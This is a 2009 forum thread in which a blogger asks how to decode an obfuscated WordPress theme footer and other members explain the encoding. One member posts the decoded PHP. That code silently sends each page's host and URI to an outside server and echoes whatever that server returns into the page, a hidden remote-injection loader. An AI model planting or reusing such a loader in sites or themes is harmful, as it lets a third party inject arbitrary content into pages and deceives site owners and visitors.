1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

wp footer

Discussion in 'Blogging' started by EdwardD, Jan 17, 2009.

  1. EdwardD

    EdwardD Junior Member

    Joined:
    Sep 14, 2008
    Messages:
    121
    Likes Received:
    32
    Home Page:
    Can someone help me decode this?? Or at least provide me with explanation on how to?

     
  2. needlinks

    needlinks Regular Member

    Joined:
    Jul 21, 2008
    Messages:
    208
    Likes Received:
    323
    I am sorry, but can you explain what that is suppose to do or where it is from?
     
  3. WickednDivine

    WickednDivine Executive VIP Premium Member

    Joined:
    Jul 29, 2008
    Messages:
    468
    Likes Received:
    344
    it'z base64 encoded, and then gziped. i can decode it for you if you really want
     
  4. mistamoonman

    mistamoonman Newbie

    Joined:
    Dec 13, 2008
    Messages:
    14
    Likes Received:
    27
    Occupation:
    Moon Watch Spaced Out Edition
    Location:
    Las Vegas
    Home Page:
    Ok I see your footer.php file is encoded.

    What you will need to do is the following

    Activate that template

    View the template form yourdomain.com

    Then view the source code.

    Now you will have the un-encoded code for the footer in the source code.

    Now you probably wonder what code is what.

    You will want to open index.php or home.php in your theme's main folder.

    You will then want to see where that code ends, and then match up where you see the footer starts.

    From all that you will be able to un-encrypt the footer code.
     
    • Thanks Thanks x 1
  5. zone69

    zone69 Junior Member

    Joined:
    Nov 24, 2008
    Messages:
    196
    Likes Received:
    1,290
    Here it is:
    Code:
    error_reporting(0);
    $CodeURL = "http://linkdock.com/content.php?id=&host=".urlencode($_SERVER["HTTP_HOST"])."&uri=".urlencode($_SERVER["REQUEST_URI"]);
    
    if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file_get_contents")) {
    	echo @file_get_contents($CodeURL);
    } elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file")) {
    	$content = @file($CodeURL);
    	echo @join("", $content);
    } elseif (function_exists("curl_init")) {
    	$ch = curl_init($CodeURL);
    	curl_setopt($ch, CURLOPT_HEADER, 0);
    	curl_exec($ch);
    	curl_close($ch);
    }
    
    Hope that helps
     
    • Thanks Thanks x 1
  6. EdwardD

    EdwardD Junior Member

    Joined:
    Sep 14, 2008
    Messages:
    121
    Likes Received:
    32
    Home Page:
    Sweet, thanks zone69 although in the end I went with mistamoonman approach of just look into the translated page source from the browser =)
     
  7. blackscorpion

    blackscorpion Newbie

    Joined:
    Jan 6, 2009
    Messages:
    14
    Likes Received:
    1
    If you dont know what youre doing you can quite easily screw up your blog.